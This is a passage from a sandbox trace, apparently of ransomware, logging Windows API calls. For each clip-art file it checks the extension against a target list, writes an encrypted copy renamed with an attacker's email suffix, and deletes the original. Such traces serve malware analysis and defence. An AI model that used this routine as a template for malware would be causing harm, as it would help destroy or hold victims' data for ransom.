dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.183] GetLastError () returned 0x0 [0136.183] ReadFile (in: hFile=0x3a4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x30e8, lpOverlapped=0x0) returned 1 [0136.185] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x30f0, lpOverlapped=0x0) returned 1 [0136.187] ReadFile (in: hFile=0x3a4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0136.187] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.187] SetEndOfFile (hFile=0x3b0) returned 1 [0136.187] CloseHandle (hObject=0x3b0) returned 1 [0136.188] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.188] SetEndOfFile (hFile=0x3a4) returned 1 [0136.190] CloseHandle (hObject=0x3a4) returned 1 [0136.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.204] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0136.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0136.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0136.205] lstrlenW (lpString=".doc") returned 4 [0136.205] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.205] lstrlenW (lpString=".docx") returned 5 [0136.205] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.205] lstrlenW (lpString=".pdf") returned 4 [0136.205] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.205] lstrlenW (lpString=".xls") returned 4 [0136.205] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.205] lstrlenW (lpString=".xlsx") returned 5 [0136.205] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.205] lstrlenW (lpString=".ppt") returned 4 [0136.205] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0136.205] lstrlenW (lpString=".zip") returned 4 [0136.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.205] lstrlenW (lpString=".rar") returned 4 [0136.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.205] lstrlenW (lpString=".bz2") returned 4 [0136.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.205] lstrlenW (lpString=".7z") returned 3 [0136.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0136.205] lstrlenW (lpString=".dbf") returned 4 [0136.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0136.205] lstrlenW (lpString=".1cd") returned 4 [0136.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0136.205] lstrlenW (lpString=".jpg") returned 4 [0136.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0136.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0136.206] lstrlenW (lpString=".doc") returned 4 [0136.206] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.206] lstrlenW (lpString=".docx") returned 5 [0136.206] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.206] lstrlenW (lpString=".pdf") returned 4 [0136.206] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.206] lstrlenW (lpString=".xls") returned 4 [0136.206] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.206] lstrlenW (lpString=".xlsx") returned 5 [0136.206] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.206] lstrlenW (lpString=".ppt") returned 4 [0136.206] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0136.206] lstrlenW (lpString=".zip") returned 4 [0136.206] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.206] lstrlenW (lpString=".rar") returned 4 [0136.206] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.206] lstrlenW (lpString=".bz2") returned 4 [0136.206] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.206] lstrlenW (lpString=".7z") returned 3 [0136.206] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0136.206] lstrlenW (lpString=".dbf") returned 4 [0136.206] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0136.206] lstrlenW (lpString=".1cd") returned 4 [0136.206] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0136.206] lstrlenW (lpString=".jpg") returned 4 [0136.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.207] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0136.207] lstrlenW (lpString="BL00045_.WMF") returned 12 [0136.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.208] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=7862) returned 1 [0136.208] CloseHandle (hObject=0x3b0) returned 1 [0136.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x20 [0136.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.209] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.209] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0136.210] GetLastError () returned 0x0 [0136.210] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1eb6, lpOverlapped=0x0) returned 1 [0136.211] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1ec0, lpOverlapped=0x0) returned 1 [0136.214] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0136.214] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.214] SetEndOfFile (hFile=0x3a8) returned 1 [0136.214] CloseHandle (hObject=0x3a8) returned 1 [0136.214] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.214] SetEndOfFile (hFile=0x3b0) returned 1 [0136.217] CloseHandle (hObject=0x3b0) returned 1 [0136.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0136.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0136.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0136.218] lstrlenW (lpString=".doc") returned 4 [0136.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.218] lstrlenW (lpString=".docx") returned 5 [0136.218] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.218] lstrlenW (lpString=".pdf") returned 4 [0136.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.218] lstrlenW (lpString=".xls") returned 4 [0136.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.219] lstrlenW (lpString=".xlsx") returned 5 [0136.219] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.219] lstrlenW (lpString=".ppt") returned 4 [0136.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0136.219] lstrlenW (lpString=".zip") returned 4 [0136.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.219] lstrlenW (lpString=".rar") returned 4 [0136.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.219] lstrlenW (lpString=".bz2") returned 4 [0136.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.219] lstrlenW (lpString=".7z") returned 3 [0136.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0136.219] lstrlenW (lpString=".dbf") returned 4 [0136.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0136.219] lstrlenW (lpString=".1cd") returned 4 [0136.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0136.219] lstrlenW (lpString=".jpg") returned 4 [0136.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0136.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0136.219] lstrlenW (lpString=".doc") returned 4 [0136.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.219] lstrlenW (lpString=".docx") returned 5 [0136.219] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.219] lstrlenW (lpString=".pdf") returned 4 [0136.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.219] lstrlenW (lpString=".xls") returned 4 [0136.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.220] lstrlenW (lpString=".xlsx") returned 5 [0136.220] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.220] lstrlenW (lpString=".ppt") returned 4 [0136.220] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0136.220] lstrlenW (lpString=".zip") returned 4 [0136.220] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.220] lstrlenW (lpString=".rar") returned 4 [0136.220] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.220] lstrlenW (lpString=".bz2") returned 4 [0136.220] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.220] lstrlenW (lpString=".7z") returned 3 [0136.220] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0136.220] lstrlenW (lpString=".dbf") returned 4 [0136.220] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0136.220] lstrlenW (lpString=".1cd") returned 4 [0136.220] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0136.220] lstrlenW (lpString=".jpg") returned 4 [0136.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.220] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0136.220] lstrlenW (lpString="BL00098_.WMF") returned 12 [0136.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.221] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=1012) returned 1 [0136.221] CloseHandle (hObject=0x3b0) returned 1 [0136.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x20 [0136.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.221] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.221] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0136.223] GetLastError () returned 0x0 [0136.223] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x3f4, lpOverlapped=0x0) returned 1 [0136.224] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x400, lpOverlapped=0x0) returned 1 [0136.225] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0136.225] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.225] SetEndOfFile (hFile=0x3a8) returned 1 [0136.226] CloseHandle (hObject=0x3a8) returned 1 [0136.226] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.226] SetEndOfFile (hFile=0x3b0) returned 1 [0136.229] CloseHandle (hObject=0x3b0) returned 1 [0136.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0136.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0136.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0136.229] lstrlenW (lpString=".doc") returned 4 [0136.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.230] lstrlenW (lpString=".docx") returned 5 [0136.230] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.230] lstrlenW (lpString=".pdf") returned 4 [0136.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.230] lstrlenW (lpString=".xls") returned 4 [0136.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.230] lstrlenW (lpString=".xlsx") returned 5 [0136.230] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.230] lstrlenW (lpString=".ppt") returned 4 [0136.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0136.230] lstrlenW (lpString=".zip") returned 4 [0136.230] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.230] lstrlenW (lpString=".rar") returned 4 [0136.230] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.230] lstrlenW (lpString=".bz2") returned 4 [0136.230] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.230] lstrlenW (lpString=".7z") returned 3 [0136.230] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0136.230] lstrlenW (lpString=".dbf") returned 4 [0136.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0136.230] lstrlenW (lpString=".1cd") returned 4 [0136.230] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0136.230] lstrlenW (lpString=".jpg") returned 4 [0136.230] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0136.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0136.230] lstrlenW (lpString=".doc") returned 4 [0136.230] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.230] lstrlenW (lpString=".docx") returned 5 [0136.230] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.231] lstrlenW (lpString=".pdf") returned 4 [0136.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.231] lstrlenW (lpString=".xls") returned 4 [0136.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.231] lstrlenW (lpString=".xlsx") returned 5 [0136.231] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.231] lstrlenW (lpString=".ppt") returned 4 [0136.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0136.231] lstrlenW (lpString=".zip") returned 4 [0136.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.231] lstrlenW (lpString=".rar") returned 4 [0136.231] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.231] lstrlenW (lpString=".bz2") returned 4 [0136.231] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.231] lstrlenW (lpString=".7z") returned 3 [0136.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0136.231] lstrlenW (lpString=".dbf") returned 4 [0136.231] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0136.231] lstrlenW (lpString=".1cd") returned 4 [0136.231] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0136.231] lstrlenW (lpString=".jpg") returned 4 [0136.231] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.231] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0136.231] lstrlenW (lpString="BL00105_.WMF") returned 12 [0136.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0136.744] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=880) returned 1 [0136.744] CloseHandle (hObject=0x3a8) returned 1 [0136.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x20 [0136.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0136.789] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.790] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0136.790] GetLastError () returned 0x0 [0136.790] ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x370, lpOverlapped=0x0) returned 1 [0136.835] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x380, 